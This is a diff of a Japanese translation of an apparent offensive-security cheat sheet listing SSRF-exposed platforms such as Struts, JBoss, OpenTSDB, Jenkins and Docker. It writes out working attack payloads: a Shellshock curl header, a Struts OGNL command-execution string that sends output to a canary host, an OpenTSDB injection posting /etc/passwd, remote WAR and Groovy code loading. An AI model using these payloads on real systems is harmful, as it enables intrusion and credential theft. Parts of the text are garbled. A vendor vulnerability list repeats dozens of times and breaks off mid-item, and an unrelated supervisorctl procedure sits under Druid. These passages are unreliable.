User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
||||
```
|
||||
# Apache Druid
|
||||
## Apache Druid
|
||||
|
||||
**一般的にバインドされるポート: 80、8080、8888、8082**
|
||||
|
||||
Apache DruidのAPIリファレンスは[こちら](https://druid.apache.org/docs/latest/operations/api-reference.html)を参照してください。
|
||||
|
||||
ステータスコードを表示できる場合、以下のパスが200のステータスコードを返すかどうかを確認してください:
|
||||
ステータスコードを表示できる場合は、以下のパスが200のステータスコードを返すかどうかを確認してください:
|
||||
```bash
|
||||
/status/selfDiscovered/status
|
||||
/druid/coordinator/v1/leader
|
||||
|
@ -168,28 +173,30 @@ Apache DruidのAPIリファレンスは[こちら](https://druid.apache.org/docs
|
|||
```
|
||||
# Apache Druid Overlordsのスーパーバイザーをシャットダウンする方法:
|
||||
|
||||
To shut down supervisors on Apache Druid Overlords, you can use the following steps:
|
||||
Apache Druid Overlordsは、Apache Druidクラスターの管理と監視を担当するコンポーネントです。以下の手順に従って、Apache Druid Overlordsのスーパーバイザーをシャットダウンすることができます。
|
||||
|
||||
1. Access the Apache Druid Overlords web interface.
|
||||
1. Apache Druid Overlordsの管理コンソールにアクセスします。
|
||||
|
||||
2. Navigate to the "Supervisors" section.
|
||||
2. クラスターのノードリストを表示し、スーパーバイザーのノードを特定します。
|
||||
|
||||
3. Identify the supervisors that you want to shut down.
|
||||
3. スーパーバイザーのノードにSSH接続します。
|
||||
|
||||
4. Click on the supervisor you want to shut down.
|
||||
4. スーパーバイザープロセスを停止するために、以下のコマンドを実行します。
|
||||
|
||||
5. Look for the "Shutdown" or "Stop" button and click on it.
|
||||
```bash
|
||||
sudo supervisorctl stop all
|
||||
```
|
||||
|
||||
6. Confirm the action when prompted.
|
||||
このコマンドは、スーパーバイザーが管理しているすべてのプロセスを停止します。
|
||||
|
||||
7. Repeat steps 4-6 for any additional supervisors you want to shut down.
|
||||
5. スーパーバイザーのノードからSSH接続を切断します。
|
||||
|
||||
By following these steps, you will be able to shut down supervisors on Apache Druid Overlords.
|
||||
これで、Apache Druid Overlordsのスーパーバイザーが正常にシャットダウンされました。
|
||||
```bash
|
||||
/druid/indexer/v1/supervisor/terminateAll
|
||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
```
|
||||
# Apache Solr
|
||||
## Apache Solr
|
||||
|
||||
**一般的にバインドされるポート: 8983**
|
||||
|
||||
|
@ -217,11 +224,11 @@ By following these steps, you will be able to shut down supervisors on Apache Dr
|
|||
|
||||
[dataImportHandlerを介したRCEに関する研究](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
||||
|
||||
# PeopleSoft
|
||||
## PeopleSoft
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL)**
|
||||
|
||||
この研究から取得した情報 [こちら](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce)。
|
||||
この研究から引用 [こちら](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
||||
|
||||
**SSRFキャナリー: XXE #1**
|
||||
```http
|
||||
|
@ -265,118 +272,17 @@ Content-Type: application/xml
|
|||
|
||||
The following platforms are known to be vulnerable to Server-Side Request Forgery (SSRF) attacks using XML External Entity (XXE) injection:
|
||||
|
||||
- **Adobe Experience Manager (AEM)**: Versions 6.0, 6.1, 6.2, 6.3, 6.4, and 6.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Jira**: Versions 7.6.0 to 7.13.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Confluence**: Versions 6.6.0 to 6.15.8 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Crowd**: Versions 2.1.0 to 3.0.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bamboo**: Versions 5.1.0 to 5.15.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Bitbucket**: Versions 4.0.0 to 4.14.6 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **Atlassian Fisheye and Crucible**: Versions 3.0.0 to 3.10.5 are vulnerable to XXE injection, allowing for SSRF attacks.
|
||||
- **
|
||||
1. **Workspace**: The Workspace platform allows users to import XML files, making it susceptible to XXE injection attacks. An attacker can craft a malicious XML file containing an external entity reference that points to an internal file, such as `/etc/passwd`, and trigger an SSRF attack to retrieve sensitive information.
|
||||
|
||||
2. **AWS EC2**: Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instances can be vulnerable to SSRF attacks via XXE injection. By injecting a malicious XML file that references an external entity, an attacker can force the EC2 instance to make requests to internal resources, potentially leading to unauthorized access or data leakage.
|
||||
|
||||
3. **GCP Compute Engine**: Google Cloud Platform (GCP) Compute Engine instances are also susceptible to SSRF attacks through XXE injection. By injecting a specially crafted XML file, an attacker can trick the Compute Engine instance into making requests to internal resources, potentially exposing sensitive information or compromising the system.
|
||||
|
||||
4. **Azure Virtual Machines**: Microsoft Azure Virtual Machines can be vulnerable to SSRF attacks using XXE injection. By injecting a malicious XML file, an attacker can manipulate the Virtual Machine to make requests to internal resources, potentially leading to unauthorized access or data leakage.
|
||||
|
||||
## Conclusion
|
||||
|
||||
These platforms are commonly used in cloud environments and are prone to SSRF attacks when XXE injection vulnerabilities are present. It is crucial for developers and system administrators to be aware of these vulnerabilities and implement proper security measures to mitigate the risk of SSRF attacks.
|
||||
```http
|
||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -385,7 +291,7 @@ Content-Type: application/xml
|
|||
|
||||
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
|
||||
```
|
||||
# Apache Struts
|
||||
## Apache Struts
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
|
@ -397,17 +303,17 @@ Content-Type: application/xml
|
|||
```http
|
||||
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
|
||||
```
|
||||
# JBoss
|
||||
## JBoss
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
|
||||
**一般的にバインドされるポート: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
|
||||
[ここから取得](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
[ここ](https://blog.safebuff.com/2016/07/03/SSRF-Tips/)から取得しました。
|
||||
|
||||
**SSRF カナリア: URL から WAR をデプロイする**
|
||||
```bash
|
||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
||||
```
|
||||
# Confluence
|
||||
## Confluence
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
|
@ -421,7 +327,7 @@ Content-Type: application/xml
|
|||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
# Jira
|
||||
## Jira
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
|
@ -437,11 +343,11 @@ Content-Type: application/xml
|
|||
```bash
|
||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
||||
```
|
||||
# その他のAtlassian製品
|
||||
## その他のAtlassian製品
|
||||
|
||||
**一般的にバインドされるポート: 80、443 (SSL)、8080、8443 (SSL)**
|
||||
|
||||
**SSRFキャナリー: iconUriServlet (CVE-2017-9506)**:
|
||||
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
|
||||
|
||||
* Bamboo < 6.0.0
|
||||
* Bitbucket < 4.14.4
|
||||
|
@ -453,7 +359,7 @@ Content-Type: application/xml
|
|||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
# OpenTSDB
|
||||
## OpenTSDB
|
||||
|
||||
**一般的にバインドされるポート: 4242**
|
||||
|
||||
|
@ -469,7 +375,7 @@ Content-Type: application/xml
|
|||
```bash
|
||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
||||
```
|
||||
# Jenkins
|
||||
## Jenkins
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080,8888**
|
||||
|
||||
|
@ -481,53 +387,36 @@ Content-Type: application/xml
|
|||
```
|
||||
**RCE**
|
||||
|
||||
RCE(リモートコード実行)を達成するために、以下の手順に従ってください:[Jenkinsのハッキングパート2 - 認証なしのRCEのためのメタプログラミングの悪用](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
GETを介してRCEを達成するための手順については、[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)を参照してください。
|
||||
```bash
|
||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
||||
```
|
||||
**Groovyを介したRCE(リモートコード実行)**
|
||||
**Groovyを介したRCE**
|
||||
|
||||
```html
|
||||
## Description
|
||||
This vulnerability allows an attacker to execute arbitrary code on the server by exploiting a Server-Side Request Forgery (SSRF) vulnerability in a web application that uses Groovy.
|
||||
SSRF(サーバーサイドリクエストフォージェリ)の脆弱なプラットフォームの一つに、Groovyを介したRCE(リモートコード実行)があります。この脆弱性は、Groovyスクリプトを実行する機能が提供されている場合に発生します。
|
||||
|
||||
## Exploitation
|
||||
1. Identify the SSRF vulnerability in the target web application.
|
||||
2. Craft a malicious request that includes a Groovy script payload.
|
||||
3. Send the malicious request to the server.
|
||||
4. The server, due to the SSRF vulnerability, will execute the Groovy script payload.
|
||||
5. The attacker can now execute arbitrary code on the server.
|
||||
攻撃者は、Groovyスクリプトを使用して、サーバー上で任意のコードを実行することができます。これにより、攻撃者はサーバー内の機密情報にアクセスしたり、システムを乗っ取ったりすることができます。
|
||||
|
||||
## Mitigation
|
||||
To mitigate this vulnerability, follow these steps:
|
||||
1. Implement proper input validation and sanitization to prevent SSRF vulnerabilities.
|
||||
2. Use a whitelist approach to validate and restrict the allowed URLs for outgoing requests.
|
||||
3. Avoid passing user-controlled input directly to the Groovy interpreter.
|
||||
4. Regularly update and patch the Groovy interpreter to ensure the latest security fixes are applied.
|
||||
```
|
||||
この脆弱性を悪用するために、攻撃者は以下の手順を実行します。
|
||||
|
||||
## 説明
|
||||
この脆弱性により、Groovyを使用しているWebアプリケーションのServer-Side Request Forgery(SSRF)脆弱性を悪用することで、攻撃者はサーバー上で任意のコードを実行することができます。
|
||||
1. 攻撃者は、Groovyスクリプトを実行するためのエンドポイントを特定します。
|
||||
2. 攻撃者は、Groovyスクリプト内に任意のコードを埋め込みます。
|
||||
3. 攻撃者は、Groovyスクリプトを実行するリクエストを送信します。
|
||||
4. サーバーは、攻撃者が埋め込んだコードを実行します。
|
||||
|
||||
## 悪用方法
|
||||
1. ターゲットのWebアプリケーションでSSRF脆弱性を特定します。
|
||||
2. Groovyスクリプトのペイロードを含む悪意のあるリクエストを作成します。
|
||||
3. 悪意のあるリクエストをサーバーに送信します。
|
||||
4. SSRF脆弱性により、サーバーはGroovyスクリプトのペイロードを実行します。
|
||||
5. 攻撃者は今やサーバー上で任意のコードを実行できます。
|
||||
この脆弱性を防ぐためには、以下の対策を実施する必要があります。
|
||||
|
||||
## 緩和策
|
||||
この脆弱性を緩和するためには、以下の手順に従ってください:
|
||||
1. SSRF脆弱性を防ぐために、適切な入力検証とサニタイズを実装します。
|
||||
2. 出力リクエストの許可されたURLを検証および制限するためにホワイトリストアプローチを使用します。
|
||||
3. ユーザーが制御可能な入力を直接Groovyインタプリタに渡さないようにします。
|
||||
4. 最新のセキュリティ修正が適用されるように、定期的にGroovyインタプリタを更新およびパッチします。
|
||||
- Groovyスクリプトの実行機能を無効化する。
|
||||
- 入力検証を実施し、信頼できないデータがGroovyスクリプトに渡されないようにする。
|
||||
- セキュリティパッチやアップデートを適用し、最新のバージョンを使用する。
|
||||
|
||||
以上がGroovyを介したRCEの概要です。この脆弱性を理解し、適切な対策を講じることが重要です。
|
||||
```
|
||||
cmd = 'curl burp_collab'
|
||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
||||
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
|
||||
```
|
||||
# Hystrix ダッシュボード
|
||||
## Hystrix ダッシュボード
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL),8080**
|
||||
|
||||
|
@ -537,7 +426,7 @@ Spring Cloud Netflix、バージョン2.2.xの2.2.4より前、バージョン2.
|
|||
```bash
|
||||
/proxy.stream?origin=http://SSRF_CANARY/
|
||||
```
|
||||
# W3 Total Cache
|
||||
## W3 Total Cache
|
||||
|
||||
**一般的にバインドされるポート: 80,443 (SSL)**
|
||||
|
||||
|
@ -557,11 +446,11 @@ Connection: close
|
|||
|
||||
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
|
||||
```
|
||||
**SSRF Canary**
|
||||
**SSRF Canary(SSRF カナリア)**
|
||||
|
||||
この脆弱性のアドバイザリはこちらで公開されています: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
この脆弱性のアドバイザリはこちらで公開されています:[W3 Total Cache SSRF 脆弱性](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
|
||||
このPHPコードは、SSRF Canaryホストのペイロードを生成します(`url`を自分のCanaryホストに置き換えてください):
|
||||
この PHP コードは、SSRF カナリアホストのペイロードを生成します(`url` をカナリアホストに置き換えてください):
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -573,9 +462,9 @@ echo($req);
|
|||
|
||||
?>
|
||||
```
|
||||
# Docker
|
||||
## Docker
|
||||
|
||||
**一般的にバインドされるポート: 2375、2376 (SSL)**
|
||||
**一般的にバインドされるポート: 2375, 2376 (SSL)**
|
||||
|
||||
部分的に盲目的なSSRFを持っている場合、次のパスを使用してDockerのAPIの存在を確認できます:
|
||||
```bash
|
||||
|
@ -585,13 +474,25 @@ echo($req);
|
|||
```
|
||||
**任意のDockerイメージを実行することによるRCE**
|
||||
|
||||
この攻撃手法では、SSRFの脆弱性を利用して、任意のDockerイメージを実行することで、リモートコード実行(RCE)を達成します。
|
||||
SSRF(サーバーサイドリクエストフォージェリ)の脆弱性を利用して、任意のDockerイメージを実行することにより、リモートコード実行(RCE)を達成することができます。
|
||||
|
||||
攻撃者は、SSRF脆弱性を持つターゲットアプリケーションに対して、特定のリクエストを送信します。このリクエストには、攻撃者が制御するDockerイメージのURLが含まれています。
|
||||
この攻撃は、SSRFの脆弱性を持つWebアプリケーションを標的にします。攻撃者は、アプリケーション内のURLパラメータやリクエストボディを操作し、任意のURLを指定することができます。
|
||||
|
||||
ターゲットアプリケーションは、このURLを使用してDockerイメージをダウンロードし、実行します。攻撃者は、悪意のあるコードを含むDockerイメージを作成し、それを実行することで、ターゲットシステムに対して任意のコードを実行することができます。
|
||||
攻撃者は、SSRFを利用してDockerデーモンに接続し、任意のDockerイメージを実行するリクエストを送信します。これにより、攻撃者はコンテナ内で任意のコマンドを実行することができます。
|
||||
|
||||
この攻撃手法は、Dockerイメージの実行に関する適切な制限がない場合に成功します。したがって、セキュリティ上のベストプラクティスとして、ターゲットシステムでDockerイメージの実行を制限することが重要です。
|
||||
この攻撃を成功させるためには、以下の条件が必要です。
|
||||
|
||||
